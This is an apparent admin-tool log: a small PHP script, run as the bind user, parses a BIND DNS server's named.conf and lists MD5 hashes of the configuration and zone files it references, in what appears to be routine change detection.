MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:07:47: Establishing a connection
2026-04-24 16:07:48: 

PUT: /tmp/pkp933889

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:07:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp933889; rm /tmp/pkp933889'

2026-04-24 16:07:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
